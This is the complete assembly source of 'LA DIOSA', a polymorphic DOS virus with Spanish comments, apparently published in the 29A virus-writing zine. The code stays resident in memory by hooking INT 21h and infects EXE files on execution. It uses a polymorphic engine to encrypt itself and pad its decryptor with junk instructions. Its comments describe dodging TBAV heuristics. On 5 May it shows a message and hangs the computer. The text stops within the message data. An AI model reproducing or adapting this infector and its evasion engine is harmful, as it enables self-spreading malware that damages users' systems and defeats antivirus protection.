Copy Link
Add to Bookmark
Report
29A Issue 03 05 07
;
; nEUrOtIc cpU. presents
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º º
; º Virus LA DIOSA (version 1.0) ¸ by Nigromante º
; º º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
; Infecta archivos Exe al ejecutarlos mediante el mtodo tradicional
; copio el virus al final, y modifico el cs:ip del header.
;
; Virus polim¢rfico:
; El engine Polim¢rfico genera c¢digo variable
; Encriptado mediante una de 3 posibles funciones
; (add,sub o xor) con una clave aleatoria.
; En el decriptor se insertan instrucciones de acceso
; a memoria, a puertos, bucles, interrupciones,compraraciones
; saltos condicionales, llamadas a procedimientos.
; Y las instrucciones de inicializaci¢n del decriptor
; se reordenan con cada infecci¢n.
;
.286
code segment 'code'
assume cs:code,ds:code,es:code
size equ offset fin-offset start
long_vir equ 2*(fin-start)+1000h
;multiplico por 2 el (fin-start) para dejar espacio
;pa el buffer del polymorfismo
clases_basura equ 11d
carrier: push ds ;este push es solo necesario
;en el carrier porque despues
;se encarga el engine de pushear
;el valor del psp
start: call find_offset ; busco la ip de inicio
find_offset: ; para que la variables no
mov si,sp ; aparezcan corridas
mov bp,word ptr ss:[si] ; en vez de utilizar un pop
sub bp,offset find_offset ; leo directamente del stack
cli
add sp,2 ; para evitar heur¡stica
sti
pop ds
mov ax,ds
mov es,ax ;es apunta al psp
;importante es tiene que apuntar al psp
push ds
push es
push ':(' ;mira a ver si esta residente
pop ax
int 21h
cmp ax, ';)' ;si lo esta devuelve un smilie
je yaenmemoria
mov ax, 3520H ;guarda la direccion
inc al ;este trocito es rebuscado
;pero evita que salte el flag
;de residencia del tbav
int 21h ;de la int 21 para poder
mov cs:word ptr [bp+oldint21],bx ;llamarla cuando nos
mov cs:word ptr [bp+oldint21+2],es ;plazca :-)
mov ax,ds ;lo dejo residente por MCB
dec ax
mov es,ax
mov ax,es:[3]
sub ax,((long_vir+15)/16)+1 ;le resto a ax la long_del_virus
;en paragrafos
xchg bx,ax
mov ah,4ah
push ds
pop es
int 21h ;Asignar blocke de memoria
mov ah,48h ;el parrafo del MCB
mov bx,((long_vir+15)/16)
int 21h
dec ax ;en ax devuelve el segmento reservado
mov es,ax ;es apunta al segmento del MCB del segemento reservado
mov word ptr es:[1],8 ;marco el bloque con un 8 para que
inc ax ;no lo sobreescriban
mov es,ax ;ahora es apunta al segmento reservado
mov si,bp
xor di,di
push ds
push cs
pop ds
cld
mov cx,long_vir ; de memoria donde permanecer
rep movsb ; residente DS:SI -> ES:DI
mov ax,2520h ;hago la redirecci¢n
inc al
mov dx,offset [nuevaint21]
push es ;llevo el valor del segmento reservado
pop ds ;a ds para realizar la redirec..
int 21h
pop ds
push ds
pop es
yaenmemoria: push ds
push es
;ahora se comprueba si es septiembre
push 02a00h ; funcion para obtener
pop ax
int 21h ; la fecha
cmp dh, 05d ; compara el mes con mayo
jne noactivo
cmp dl, 05d ; compara con el 5 del 5
jne noactivo
mov ax,0900h ;
lea dx,bp+mensaje ; aparece el mensaje
int 21h ;
infinito: ;
jmp infinito ;
noactivo: pop es
pop ds
vuelta_al_exe: mov ax,ds
add ax,cs:word ptr [bp+ss_sp]
add ax,10h ;le sumo 10 por el PSP
cli ;desavilitamos interrupciones
mov ss,ax
mov sp,cs:word ptr [bp+ss_sp+2]
sti
mov ax,ds
add ax,cs:word ptr [bp+cs_ip+2]
add ax,10h
push ax
mov ax,cs:word ptr [bp+cs_ip]
push ax
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor bp,bp
xor si,si
xor di,di
retf ;vuelta al hoste del exe
db ' *** nIgrO_lives_here *** '
nuevaint21: cmp ax,':('
je estainMemory
cmp ah,04bh
je infector
jmp cs:[oldint21]
estainMemory: mov ax,';)'
iret
off_arch dw 00h
seg_arch dw 00h
infector: mov word ptr cs:[off_arch],dx
mov word ptr cs:[seg_arch],ds
pushf
call cs:[oldint21]
pushf
pusha ;en ds:dx la string que apunta al fichero
mov dx,word ptr cs:[off_arch]
mov ds,word ptr cs:[seg_arch]
xor bp,bp ;bp a 0 importante para ejecutar la rutina
;polimorfica desde memoria
mov ax,03d02h
pushf
call cs:[oldint21]
xchg bx,ax
push cs
push cs
pop ds
pop es
mov word ptr handel,bx
mov ax,3224h ;intercepto la interrupcion 24h
pushf
call cs:[oldint21]
mov ds:old_int24_off,bx ;la guardo :>
mov ds:old_int24_seg,es
mov bx,word ptr handel
call seek_end
mov word ptr longitud,ax ;relleno longitud
call seek_begin
mov cx,20h ;leo la cabacera
lea dx,exeheader
mov ah,3fh
pushf
call cs:[oldint21]
cmp byte ptr [exeheader],'M'
jne NO_inf
cmp byte ptr [exeheader+1],'Z'
jne No_inf
cmp word ptr [exeheader+1ah],0000h
jne No_inf
cmp word ptr [exeheader+18h],0040h
jae No_inf
cmp word ptr [exeheader+0ch],0ffffh
jne No_inf
jmp contamina
NO_inf: jmp nocontamina
contamina:
mov dx,offset new_int24 ;intercepto la int 24
mov ax,2523h
inc al
pushf
call cs:[oldint21]
cmp word ptr checksum,';P' ;est infectado???
jne venga
jmp nocontamina
venga: call seek_end
mov word ptr cs:[garbage],0h ;redondeo a paragrafo
and ax,0fh
or ax,ax
je dontadd ;comparo si los ultimos 4 bits son 0
mov cx,10h
sub cx,ax
mov word ptr cs:[garbage],cx
push 4000h
pop ax
pushf
call cs:[oldint21]
dontadd:
call seek_end
mov cl,4
shr ax,cl
mov cl,12 ;calculamos la nueva cs-ip
shl dx,cl ;ip ser 0 porque hemos redondeado a parag
add dx,ax ;pero y cs???
sub dx,word ptr ds:exeheader+8
push dx
push bx
lea di,fin
lea si,start
mov cx,size
mov bx,0h ;infecto exe's
call engine
pop bx ;recupero el bx modificado por el engine
push 4000h
pop ax ;funci¢n de escritura
lea dx,fin
pushf
call cs:[oldint21]
mov ax,4000d
add cx,word ptr basura ;redondeo a 4000 bytes
sub ax,cx ;para poder hacer stealth
mov cx,ax
add ax,cx
pushf
call cs:[oldint21]
pop dx
mov ds:ss_sp,dx
mov ds:cs_ip+2,dx
mov ds:word ptr cs_ip,0h
mov ds:word ptr ss_sp+2,(((size)+300h)/2)*2 ;nueva pila
call seek_end ;en DXAX la longitud del archivo
mov cx,200h ;calculo las paginas que tendr
div cx ;en la cabecera
inc ax
mov word ptr exeheader+2,dx
mov word ptr exeheader+4,ax
mov word ptr checksum,';P'
add word ptr exeheader+0ah,((size+800h+15h) shr 4)+10h
;memoria extra
call seek_begin
push 4000h
pop ax
mov cx,20h
mov dx,offset exeheader
pushf
call cs:[oldint21]
nocontamina:lds dx,cs:old_int24
mov ax,2523h
inc al
pushf
call cs:[oldint21]
popa
popf
retf 2
seek_begin: mov ax,4200h ;me voy al principio
jmp cont
seek_end: mov ax,4202h ;me voy al final
cont: xor cx,cx
xor dx,dx
cwd
pushf
call cs:[oldint21]
ret
;*************************************************************************
;* *
;* Esto es la rutina Polim¢rfica lo de arriba es *
;* s¢lo el virus :> *
;* *
;*************************************************************************
engine: push ax ;pusheo los registros utilizados excepto
push bx ;los registro que devuelven valores.
push dx
push ds
push es
push di
push si
jmp firma
db 'nIgrOmAntE EngInE pOlymOrfIc (NEP)'
firma: push di
mov word ptr cs:[bp+dirini],bx
mov word ptr cs:[bp+vircomien],si
mov ax,256d
call rand_in_range
mov byte ptr cs:[bp+random],al ;) random rellenado
mov word ptr cs:[bp+enc_size],cx
lea dx,bp+decry_rutina1 ;indice a las instrucciones
call Inicializacion ;inicializaci¢n de variables
call rellenaroper ;para encriptar con diferentes funciones
;sub add o xor
call desordenar ;desordena las instrucciones del decriptor
mov bx,13d ;numero de instrucciones de la rutina de desenc.
bucle: push bx
call basura
call pon_instruccion
pop bx
dec bx
jne bucle
call arregla_bucle
call basura
call encriptacion
mov cx,di ;con esto calcula la longitud de la rutina
pop di
sub cx,di ;esto pa devolver cx guay con el tama¤o del
;virus encriptado+rutina desencriptacion
pop si
pop di
pop es
pop ds ;popeo los registros utilizados
pop dx
pop bx
pop ax
ret
;**** Procedimiento para inicializar variables ****************
inicializacion: ;este procedimientos pone a 0 la tabla
push si ;con las direcciones de los procedimientos basura
push cx ;que genera el poly
lea si,bp+proc_dir
mov cx,4
continua: push cx
mov word ptr cs:[si],00h
inc si
inc si
pop cx
dec cx
jnz continua
pop cx
pop si
ret
;**** Procedimiento para modificar la operaci¢n de encriptaci¢n *******
;este procedimiento se encarga de modificar
;el decriptor en la zona de datos y el
;codigo del procedimiento de encriptaci¢n
rellenaroper: ;con esto hago variable la operaci¢n
push ax ;de encriptaci¢n
push bx
push cx
mov ax,3d ;se puede encriptar con 3 posibles
call rand_in_range ;funciones add,sub o xor
mov bx,bp
add bx,ax
add bx,ax
mov cl,byte ptr cs:[bx+operaciones]
mov ch,byte ptr cs:[bx+operaciones+1]
mov byte ptr cs:[bp+sigue_enc+1],ch
mov byte ptr cs:[bp+decry_rutina2+2],cl
pop cx
pop bx
pop ax
ret
;**** Procedimiento para desordenar las instrucciones del decriptor *******
desordenar:
push ax ;desordeno s¢lo las instrucciones
push bx ;de inicializaci¢n del decriptor
push cx ;para ello utilizo un byte de control para saber
push si ;si ya he insertado todas las instrucciones que
push di ;voy a desordenar y un byte de control por cada
push es ;instruccion para saber ,mediante operaciones de
push ds ;enmascaramiento con el byte de control
;si ya ha sido insertada.
push cs
push cs ;inicializo cs y ds para trabajar
pop ds ;en el segmento de codigo
pop es
mov byte ptr [bp+desor_control],0h ;reseteo el valor de control
lea di,bp+decry_rutina1
add di,6h
siguiente_ins:
cmp byte ptr [bp+desor_control],00111111b
je salir_proc ;verifico si ya he insertado
;todas las instrucciones
lea si,bp+desor_ins
mov ax,6d ;reordenamos 6 instrucciones
call rand_in_range ;por lo tanto un valor aleatorio 0-5
mov cl,5d
mul cl ;ax:=al*cl
add si,ax
mov al,byte ptr [bp+desor_control] ;en ax la palabra de control
and al,byte ptr [si]
cmp al,0h
jne siguiente_ins ;ya ha sido insertada la instruccion pues
;sigo con la siguiente
mov al,byte ptr [si]
cmp al,00001000b
jne no_problem ;si es el " mov si,di "
;hay que verificar si di ha sido inicializado
mov al,byte ptr [bp+desor_control]
and al,00000100b
je siguiente_ins ;si no ha sido inicializado a volver a probar
no_problem: mov al,byte ptr [si]
or byte ptr [bp+desor_control],al ;modifico la palabra de control
inc si
xor cx,cx
mov cl,byte ptr [si]
inc cl
rep movsb
jmp siguiente_ins
salir_proc: pop ds
pop es
pop di
pop si
pop cx
pop bx
pop ax
ret
;****************** Procedimiento pa meter basura ****************
basura:
push ax
push bx
probar_otra_vez:
mov ax,3d ;hasta 3 instrucciones basura entre
call rand_in_range ;instrucciones reales ,aunque algunas
inc ax ;clases de basura poseen subbasura
;(llamadas recursivas a este mismo
;procedimiento)
push di
mete_basura: push ax ;¨cuanta basura meteremos?
mov bx,bp
mov ax,clases_basura ;numero de clases diferentes de
call rand_in_range ;basura
add ax,ax
add bx,ax
mov ax,word ptr cs:[bx+tabla_basuras]
add ax,bp ;relocateo el valor de la tabla
call ax
pop ax
dec ax
jne mete_basura
pop ax
cmp di,ax
je probar_otra_vez ;si no se ha insertado nada de basura
;probamos otra vez
pop bx
pop ax
ret
;************ Arregla el Loop del bucle **********************************
arregla_bucle:
push ax
push bx
push dx
dec di
push di
inc di
call basura
mov bx,word ptr [bp+bucle_start] ;preparo el jump
lea ax,bp+fin ;por ahora siempre el
sub bx,ax ;buffer tendr que estar en fin
mov ax,word ptr [bp+dirini]
add bx,ax
dec bx
mov word ptr [bp+repetir_bucle],bx
lea si,bp+salto
movsw
movsb ;copio el salto
movsw
pop ax
push di
mov bx,di
sub bx,ax ;en bx la posici¢n del salto
mov di,ax
dec bx
mov byte ptr es:[di],bl ;esto es pa arreglar el salto
pop di ;condicional
pop dx
pop bx
pop ax
ret
;************ Lee una instrucci¢n y la inserta en el buffer temporal *****
pon_instruccion:
push ax ;importante en dx el indice del opcode
push bx ;de la instrucci¢n a copiar
push si
push ds
push bp
mov bx,dx
mov al,byte ptr [bx] ;en al el numero de bytes de la
inc dx ;instrucci¢n a copiar (est almacenado
mov bx,dx ;en el primero bytes de cada ins)
cmp byte ptr cs:[bx],0BFh ;es un mov di,xxx ?
jne proseguir1
push di
inc di
mov word ptr [bp+encrypt_start],di
pop di
proseguir1:cmp byte ptr cs:[bx],026h ;es el comienzo del bucle ???
jne proseguir2
push di
inc di
mov word ptr [bp+bucle_start],di
pop di
proseguir2:push cs
pop ds
xor cx,cx
mov cl,al ;en cx la longitud en bytes de la instruccion
mov si,dx ;en si el inicio de la rutina
;di no lo cambio
rep movsb ;copio la instrucci¢n
add dx,ax ;pa ke apunte a la siguiente instrucci¢n
pop bp
pop ds
pop si ;di se aumenta :>
pop bx
pop ax
ret
;************* Porf¡n encripto el virus *********************
encriptacion:
push ax
push bx
push cx
push si
push si
push di
mov si,word ptr [bp+encrypt_start] ;retoco la entrada de encr.
sub di,bp
sub di,size ;ojo supongo siempre el buffer en fin
;sub di,100h ;esto hay que modificarlo en caso
sub di,1h
mov bx,word ptr[bp+dirini] ;de ser un exe
add di,bx
mov word ptr es:[si],di
pop di
pop si
push di ;copio el virus en el buffer
mov si,word ptr cs:[bp+vircomien]
mov cx,word ptr cs:[bp+enc_size]
;en si y di ya est n los valores idoneos
rep movsb
pop di
mov si,di ;y ahora lo encripto
mov dh,byte ptr cs:[bp+random]
mov cx,word ptr cs:[bp+enc_size]
sigue_enc: xor byte ptr es:[di],dh
movsb
dec cx
jnz sigue_enc
pop si
pop cx
pop bx
pop ax
ret
;************* Mete un byte *********************************
mete_unbyte:
push ax
push si
push ds
push bp
push cs
pop ds
mov ax,5h
call rand_in_range
add bp,ax
lea si,tabla1+bp
movsb ;di como siempre no lo modifico
pop bp
pop ds
pop si
pop ax
ret
;basura de un byte
TABLA1 db 90h ;nop
db 40h ;inc ax
db 43h ;inc bx
db 48h ;dec ax
db 4bh ;dec bx
;************* Mete movs utilizados en la desencriptaci¢n **********
;los meto de par en par
;para no modificar su valor
;e introduzco garbage entre ellos
mete_mov_utiles:
push ax
push bx
push dx
push si
push ds
push si
push ds
push cs
pop ds
cmp byte ptr cs:[bp+contador],2h ;numero maximo de ejecuciones 4
jae exit2
xor bx,bx ;reseteo bx
mov ax,4h
call rand_in_range
cmp ax,2h
je exit2
mov bx,ax
add bx,ax
add bx,ax
add bx,bp
lea si,tabla3+bx
mov ax,256d
call rand_in_range ;hallo un valor aleatorio para rellenar el mov
mov bl,al ;en bl el valor aleatorio
mov byte ptr cs:[si+2],bl
movsw ;di como siempre no lo modifico
movsb
pop ax
pop dx
push si
push ds
push bx
mov ds,ax
mov si,dx
inc byte ptr [bp+contador]
call basura ;pongo basura entre las 2 instrucciones
dec byte ptr [bp+contador]
pop bx
pop ds
pop si
mov byte ptr cs:[si+2],bl
movsw
movsb
jmp exit1
exit2: pop ds
pop si
exit1: pop ds
pop si
pop dx
pop bx
pop ax
ret
tabla3 db 083h,0c1h,00h ;add cx,00h
db 083h,0e9h,00h ;sub cx,00h
db 083h,0c1h,00h ;add cx,00h
db 083h,0c7h,00h ;add di,00h
db 083h,0efh,00h ;sub di,00h
db 083h,0c7h,00h ;add di,00h
;************** Mete mov aleatorio *********************************
mete_mov_inutiles: ;con este procedimiento meto
push ax ;instrucciones mov en las que no
push si ;intervienen registros del decriptor
push ds
push bp
push cs
pop ds
mov ax,0ffh
call rand_in_range ;hallo un valor aleatorio para rellenar el mov
mov bl,al ;en bl el valor aleatorio
mov ax,4h
call rand_in_range
add ax,ax
add bp,ax
lea si,tabla2+bp
mov byte ptr [tabla2+bp+1],bl
movsw ;di como siempre no lo modifico
pop bp
pop ds
pop si
pop ax
ret
;basura de un byte
TABLA2 db 0b0h,00h
db 0b3h,00h
db 0b7h,00h
db 0b4h,00h
;************* Mete push aleatorios *****************************
;los meto de par en par
;para no modificar su valor
;e introduzco garbage entre ellos
mete_push: push ax
push bx
push dx
push si
push ds
push si
push ds
push cs
pop ds
cmp byte ptr cs:[bp+contador],3h ;numero maximo de ejecuciones 3
jna c3
jmp exit3
c3: xor bx,bx ;reseteo bx
mov ax,5h ;numero de combinaciones diferentes
call rand_in_range ;de pusheo popeo
c4: mov bx,ax
add bx,ax
add bx,bp
lea si,tabla4+bx
movsb ;Primer Push
pop ax
pop dx
push si
push ds
push bx
mov ds,ax
mov si,dx
inc byte ptr [bp+contador]
call basura ;pongo basura entre las 2 instrucciones
dec byte ptr [bp+contador]
pop bx
pop ds
pop si
movsb ;ultimo push
jmp exit4
exit3: pop ds
pop si
exit4: pop ds
pop si
pop dx
pop bx
pop ax
ret
tabla4 db 050h,05bh ;push ax pop bx
db 0eh,058h ;push cx pop ax
db 0eh,05bh ;push cx pop bx
db 053h,058h ;push bx pop ax
db 09ch,09dh ;pushf popf
;********************* Genera Interrupciones basura :> ******************
mete_int: push ax
push cx
push si
push ds
push bp
push cs
pop ds
push bp
mov ax,6d ;numero de interrupciones que
call rand_in_range ;genera
add ax,ax
add bp,ax
mov al,byte ptr ds:[basura_int+bp] ;a bp se le suma el
mov cl,byte ptr ds:[basura_int+bp+1] ;desplazamiento por
pop bp ;lo que luego tenemos
mov byte ptr [bp+int_llamada+1],al ;popear el valor original
mov byte ptr [bp+int_func+1],cl
lea si,int_func+bp
mov cx,4h
rep movsb ;di como siempre no lo modifico
pop bp
pop ds
pop si
pop cx
pop ax
ret
;basura de un byte
basura_int: ;tabla con las diferentes clases de
db 021h,51h ;interrupciones basura y su funcion
db 010h,0dh
db 010h,0fh
db 010h,08h
db 021h,54h
db 021h,37h
db 021h,43h
db 013h,10h ;correspondiente.
db 021h,30h
int_func db 0b4h,00h ;mov ah,funcion
int_llamada db 0cdh,00h ;int numero
;relleno la llamada a interrupci¢n
;con los valores de basura_int y luego inserto
;en el codigo la llamada
;************* Mete bucle aleatorio *****************************
mete_bucle:
push ax
push bx
push dx
push si ;di como siempre no se puchea :>
push ds
push cs
pop ds
cmp byte ptr cs:[bp+contador],1h ;numero maximo de bucles
jna a3 ;recursivos :>
jmp exit5
a3: mov ax,3d
call rand_in_range ;valor aleatorio para el indice de las
mov bl,6d ;instrucciones que utilizaremos en el bucle
mul bl
s1: mov si,bp ;relocateo lo que obtenemos
add si,ax
mov ax,0004h ;valor aleatorio para el numero
call rand_in_range ;de repeticiones del bucle
inc ax ;importante porque el valor de
inc ax ;repeticiones del bucle nunca puede
;estar a 0 y adem s repetir algo 1 unica
;vez es una tonter¡a :>
mov word ptr [si+basura_bucle+1],ax ;relleno con un valor
;aleatorio de repeticiones
add si,offset basura_bucle
movsw
movsb
push di ;pucheo el valor de di Para luego
;arreglar el salto
movsb
push si
inc byte ptr [bp+contador] ;realizo la llamada recurrente
call basura ;pongo basura dentro del bucle
dec byte ptr [bp+contador]
pop si
push cs
pop ds ;otra vex ds=cs
movsw ;el pop y el dec
lea si,salto_del_bucle+bp
movsw
pop ax ;popeo en ax el valor donde deber saltar
;el bucle
mov dx,di
sub dx,ax
xor bx,bx
sub bx,dx
dec di
mov byte ptr [di],bl ;arreglo el salto del bucle
inc di ;di incrementada para apuntar a la
;siguiente instrucci¢n como siempre.
exit5: pop ds
pop si
pop dx
pop bx
pop ax
ret
salto_del_bucle: db 075h,00h
basura_bucle:
db 0b8h,00h,00h ;mov ax,valor
db 050h,058h,48h ;push ax;pop ax;dec ax
db 0bbh,00h,00h ;mov bx,valor
db 053h,05bh,04bh ;push bx;pop bx;dec bx
db 0bdh,00h,00h ;mov bp,valor
db 055h,05dh,4dh ;push bp;pop bp;dec bp
;************** Mete acceso a puertos *********************************
mete_acceso_puerto:
push ax
push si ;pusheo como no los registros a utilizar
push ds ;excepto di (el super indice de encriptacion)
push cs
pop ds
mov ax,03h
call rand_in_range ;hallo un valor aleatorio para rellenar
;la instruccion in
xor si,si ;reseteo el valor de si
add si,ax
add si,bp
add si,offset puertos_disponibles
mov al,byte ptr [si]
mov byte ptr [bp+instruccion_in+1],al ;relleno el puerto
lea si,bp+instruccion_in
movsw ;di como siempre no lo modifico
;inserto la instruccion
pop ds
pop si
pop ax
ret
puertos_disponibles: db 070h ;puerto de memoria cmos
db 040h ;puerto de reloj
db 060h ;puerto de teclado
db 020h ;PIC initializacion cammand
db 021h ;PIC registro de enmaskaramiento :>
instruccion_in: db 0e5h,00h
;************** Mete acceso a Memoria *********************************
mete_acceso_memoria:
push ax
push si ;pusheo como no los registros a utilizar
push ds ;excepto di (el super indice de encriptacion)
push cs
pop ds
mov ax,021d
call rand_in_range ;hallo un valor aleatorio para rellenar
;la instruccion in
xor si,si ;reseteo el valor de si
add si,ax
add si,ax
add si,bp
add si,offset insmem
cmp ax,15d
movsw
jge ins_valor_aleatorio
;di como siempre no lo modifico
;inserto la instruccion de 2 bytes
jmp sacabo
ins_valor_aleatorio:
mov ax,0ffh
call rand_in_range ;hallo un valor aleatorio para rellenar
mov byte ptr es:[di],al
inc di ;inserto el valor aleatorio e incremento
;el puntero de memoria
sacabo: pop ds
pop si
pop ax
ret
insmem: db 08bh,05h ;mov ax,[di]
db 08bh,04h ;mov ax,[si]
db 08bh,01dh ;mov ax,[di]
db 08bh,01dh ;mov bx,[di]
db 08bh,01ch ;mov bx,[si]
db 08bh,02dh ;mov bp,[di]
db 08bh,02ch ;mov bp,[si]
db 08ah,024h ;mov ah,[si]
db 08ah,004h ;mov al,[si]
db 08ah,03ch ;mov bh,[si]
db 08ah,01ch ;mov bl,[si]
db 08ah,025h ;mov ah,[di]
db 08ah,005h ;mov al,[di]
db 08ah,03dh ;mov bh,[di]
db 08ah,01dh ;mov bl,[di]
;a estos opcodes hay que insertarle un byte aleatorio
;son instrucciones de 3 bytes
db 08bh,046h ;mov ax,[bp+valor]
db 08bh,05eh ;mov bx,[bp+valor]
db 08bh,045h ;mov ax,[di+valor]
db 08bh,044h ;mov ax,[si+valor]
db 08bh,05ch ;mov bx,[si+valor]
db 08bh,05dh ;mov bx,[di+valor]
instruccion_mem: db 00h,00h,00h ;la maxima instruccion ocupa 3 bytes
;********** Mete comparaciones y saltos condicionales *****************
mete_comparaciones:
push ax
push bx
push si
push ds
push es
push cs
pop ds
cmp byte ptr cs:[bp+contador],2h
jae fuera2
mov ax,07d
call rand_in_range ;hallo un valor aleatorio para saber
;la que comparacion vamos a realizar
mov cl,3d
mul cl
mov si,bp
add si,ax
add si,offset inscomp
mov ax,0ffh
call rand_in_range ;Numero aleatorio con el compararemos
mov byte ptr cs:[si+2],al ;relleno el n£mero aleatorio
movsw
movsb ;copio la instruccion
mov ax,09d
call rand_in_range
add ax,ax
mov si,ax
add si,bp
add si,offset inssalto
movsw
dec di
push di ;pusheo la direcci¢n que utilizaremos
inc di ;para retocar el salto
inc byte ptr cs:[bp+contador]
call basura
dec byte ptr cs:[bp+contador]
pop ax ;desapilo la direccion de antes
push di
xor bx,bx
sub di,ax
add bx,di
mov di,ax
dec bl ;?
mov byte ptr es:[di],bl
pop di
fuera2: pop es
pop ds
pop si
pop bx
pop ax
ret
inscomp:
db 03dh,00h,00h ;cmp ax,valor
db 083h,0fbh,00h ;cmp bx,valor
db 083h,0f9h,00h ;cmp cx,valor
db 083h,0fah,00h ;cmp dx,valor
db 083h,0fdh,00h ;cmp bp,valor
db 083h,0ffh,00h ;cmp di,valor
db 083h,0feh,00h ;cmp si,valor
inssalto:
db 073h,00h ;jnb salto
db 074h,00h ;jz salto
db 075h,00h ;jnz salto
db 076h,00h ;jbe salto
db 077h,00h ;ja salto
db 07ch,00h ;jl salto
db 07dh,00h ;jge salto
db 07eh,00h ;jle salto
db 07fh,00h ;jg salto
;********** Mete Procedimientos **********************************
mete_procedimientos: ;la estructura basica del procedimiento
;ser :
push ax ; jmp continuar
push bx ;inico_proc: basurilla
push si ; ret
push ds ; continuar:
push es
cmp byte ptr cs:[bp+proc_control],0h
jne fuera
cmp byte ptr cs:[bp+contador],2h
jae fuera
cmp word ptr cs:[bp+proc_dir+6d],00h
jne fuera ;no hay espacio para almacenar
;mas direcciones de procedimientos
inc byte ptr cs:[bp+proc_control]
mov byte ptr es:[di],0ebh ;meto el jmp
inc di
push di ;pusheo la direcci¢n del jmp
;para rellenarlo luego
inc di
inc byte ptr cs:[bp+contador]
call basura
dec byte ptr cs:[bp+contador]
mov byte ptr es:[di],0c3h ;meto el ret
inc di
pop ax ;popeo la direccion del jmp pa retocarlo
push di
mov bx,di
sub bx,ax
mov di,ax
dec bl
mov byte ptr es:[di],bl ;retoco el jmp
pop di
inc ax ;en ax el valor a copiar en la tabla
;de direcciones de procedimientos
;que utilizaremos para generar los CALLS
;aqui el algoritmo pa guardar la direccion del procedimiento
lea si,bp+proc_dir
sigue: cmp word ptr cs:[si],00h ;hay que tener en cuenta
je cont1 ;que como m¡nimo tenemos la
inc si ;ultima posicion
inc si
jmp sigue
cont1: mov word ptr cs:[si],ax ;copio el valor
dec byte ptr cs:[bp+proc_control]
fuera: pop es
pop ds
pop si
pop bx
pop ax
ret
;************** Mete Llamadas a procedimientos (CALL) ********************
mete_call:
push ax
push bx
push si ;pusheo como no los registros a utilizar
;excepto di (el super indice de encriptacion)
lea si,bp+proc_dir
cmp word ptr cs:[si],0h ;si he generado aunque sea s¢lo un
je no_meter ;procedimiento ,busco su direcci¢n.
repetir: mov ax,04d ;busco una de las 4 direcciones de proc
call rand_in_range
add ax,ax ;multiplico por 2 el resultado
mov si,ax
add si,bp
add si,offset proc_dir
mov bx,word ptr cs:[si] ;en bx la direccion del procedimiento
cmp bx,0h
je repetir ;mmmhh no hay una direcci¢n aqu¡
;pues busco en otra direcci¢n.
mov byte ptr es:[di],0e8h ;meto el opcode del call
inc di
xor ax,ax
mov si,di
sub si,bx
sub ax,si
sub ax,2d
mov word ptr es:[di],ax ;y ahora la direccion del salto
inc di
inc di ;la direccion de la siguiente instruccion en di
no_meter: pop si
pop bx
pop ax
ret
;************** Genera un numero aleatorio entre 0 - (ax-1) **********
get_rnd: in ax,40h ;rutina RNG plagiada del CRICRI
xor ax,0ffffh ;y anteriormente del RHINCE engine
org $-2 ;
rnd dw 0000h ;aqu¡ almaceno una palabra que modificar
mov cs:[bp+rnd],ax ;el siguiente numero aleatorio (xor) :>
ret ;muy tru¤oso pero funciona no???
rand_in_range: push bx
push dx
xchg ax,bx
call get_rnd
xor dx,dx
div bx
xchg ax,dx
pop dx
pop bx
ret
;********* Variables ,rutina de desencriptaci¢n y buffers temporales ******
tabla_basuras: dw offset mete_unbyte
dw offset mete_mov_inutiles
dw offset mete_mov_utiles ; <- utilizando registros
dw offset mete_push ;usados en la desencriptaci¢n
dw offset mete_int
dw offset mete_bucle
dw offset mete_acceso_puerto
dw offset mete_acceso_memoria
dw offset mete_comparaciones
dw offset mete_procedimientos
dw offset mete_call
decry_rutina1: db 1h,01eh ;push ds ;esto es para saber el psp
db 1h,00eh ;push cs
db 1h,00eh ;push cs
db 1h,01fh ;pop ds
db 1h,007h ;pop es
db 3h,0bfh,00h,00h ;mov di,encrypt_start
db 2h,08bh,0f7h ;mov si,di
db 3h,0b9h,00h,00h ;mov cx,enc_size
db 2h,0b6h,00h ;mov dh,random
;Aqu¡ empieza el bucle de encriptaci¢n
decry_rutina2: db 3h,026h,030h,035h ;xor byte ptr es:[di],dh
db 1h,0a4h ;movsb
db 2h,049h,09ch ;dec cx ;pushf
db 3h,09dh,074h,0f9h ;popf ;je salir
salto db 0b8h,00h,00h ;mov ax,valor
org $-2
repetir_bucle dw 00h
db 050h ;push ax
db 0c3h ;ret ;too un segmento pa
;saltar,abajo los rangos de salto
desor_ins: db 00000001b,1h,01fh,00h,00h ;pop ds
db 00000010b,1h,007h,00h,00h ;pop es
db 00000100b,3h,0bfh,00h,00h ;mov di,encrypt_start
db 00001000b,2h,08bh,0f7h,00h ;mov si,di
db 00010000b,3h,0b9h,00h,00h ;mov cx,enc_size
org $-2
enc_size dw 00h
db 00100000b,2h,0b6h,00h ;mov dh,random
org $-1
random db 0 ;numero aleatorio con el que encriptamos.
desor_control db 00000000b ;palabra de verificaci¢n para saber
;si ya estan todas las instrucciones
;que queremos desordenar.
proc_control db 00h ;evita que se generen procedimientos dentro
;de procedimientos
proc_dir dw 00h,00h,00h,00h ;tabla de offset de inicio
;para los procedimientos
;basura ]:-)
operaciones db 00h,028h ;add ;sub
db 28h,000h ;sub ;add
db 030h,030h ;xor ;xor
dirini dw 00h
encrypt_start dw 00h ;offset del principio de la encriptaci¢n, en el buff
bucle_start dw 00h ;offset del comienzo del bucle,en el buffer
vircomien dw 00h ;comienzo del virus(lo que tendremos que encriptar)
contador db 00h ;cuenta el numero de ejecuciones
;recurrentes de la rutina,evita que un excesivo
;numero de llamadas recurrentes sobresaturen de
;basura el decriptor
;******************* Fin de la rutina polymorfica *************
new_int24: xor al,al
iret
exeheader db 0eh dup('H'); ;esto el header de los exes
ss_sp dw 0,400h ;reservo 200 bytes para la pila
checksum dw 0
cs_ip dw offset hoste,0
dw 0,0,0,0
oldint21 dd 0 ;esto contiene la direccion de la int 21
longitud dw 0
handel dw 0
old_int24 label dword ;esto es para referenciar esta direccion
;y leer todo el offset y el segmento junto
old_int24_off dw 0 ;contenido de la antigua int 24
old_int24_seg dw 0
mensaje db 'Virus LA DIOSA ,dedicado a ANRUELO ' ,0ah,0dh
db 'virus demostraci¢n del NEP ',0ah,0dh
db '.....',0ah,0dh
